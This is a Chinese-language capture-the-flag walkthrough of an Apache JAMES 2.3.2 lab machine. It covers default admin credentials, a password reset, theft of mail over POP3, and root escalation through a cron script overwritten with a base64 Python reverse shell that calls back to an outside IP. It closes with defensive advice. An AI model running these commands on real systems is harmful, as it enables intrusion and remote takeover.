[Meachines] [Medium] solidstate Apache JAMES RCE+POP3邮件泄露+定时任务权限提升
字数 971 2025-08-19 12:40:41
Apache JAMES RCE漏洞利用与权限提升教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.51 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp: OpenSSH 7.4p1
- 25/tcp: JAMES smtpd 2.3.2
- 80/tcp: Apache httpd 2.4.25
- 110/tcp: JAMES pop3d 2.3.2
- 119/tcp: JAMES nntpd
- 4555/tcp: JAMES Remote Administration Tool 2.3.2
1.2 服务识别
关键发现:
- JAMES邮件服务器版本为2.3.2,存在已知漏洞
- 4555端口运行JAMES远程管理工具
2. JAMES RCE漏洞利用
2.1 利用远程管理工具
- 连接到JAMES管理端口:
telnet 10.10.10.51 4555
- 使用默认凭据登录:
username: root
password: root
- 列出系统用户:
>listusers
输出显示存在以下用户:
- james
- etc/bash_completion.d
- thomas
- john
- mindy
- mailadmin
2.2 修改用户密码
修改mindy用户的密码:
>setpassword mindy 123
3. POP3邮件泄露
3.1 通过POP3访问邮件
- 连接到POP3服务:
telnet 10.10.10.51 110
- 使用修改后的凭据登录:
USER mindy
PASS 123
- 检索邮件:
RETR 2
- 从邮件中获取敏感信息:
username: mindy
password: P@55W0rd1!2@
4. 获取初始访问权限
4.1 通过SSH登录
使用获取的凭据登录:
ssh mindy@10.10.10.51
4.2 绕过受限shell
如果遇到受限shell,使用以下方法绕过:
ssh mindy@10.10.10.51 -t 'bash'
4.3 获取user flag
cat /home/mindy/user.txt
输出:cddc54e8618e72785b2d0387162f772b
5. 权限提升
5.1 发现定时任务
检查可疑文件:
ls -la /opt/tmp.py
5.2 利用定时任务
- 创建反向shell脚本:
echo 'aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTYuMjQiLDEwMDMyKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL2Jhc2giKQo=' | base64 -d > /opt/tmp.py
解码后的Python脚本内容:
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.24",10032));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")
- 等待定时任务执行,获取root权限
5.3 获取root flag
cat /root/root.txt
输出:2937292653a4a3a7b70ca523057708df
6. 漏洞总结
- JAMES默认凭据漏洞:远程管理工具使用默认凭据(root/root)
- POP3信息泄露:通过邮件获取更高权限的凭据
- 定时任务权限提升:利用可写的定时任务脚本获取root权限
7. 防御建议
- 更改所有默认凭据
- 限制远程管理端口的访问
- 定期更新JAMES邮件服务器
- 实施最小权限原则,限制定时任务的执行权限
- 监控敏感目录的写入操作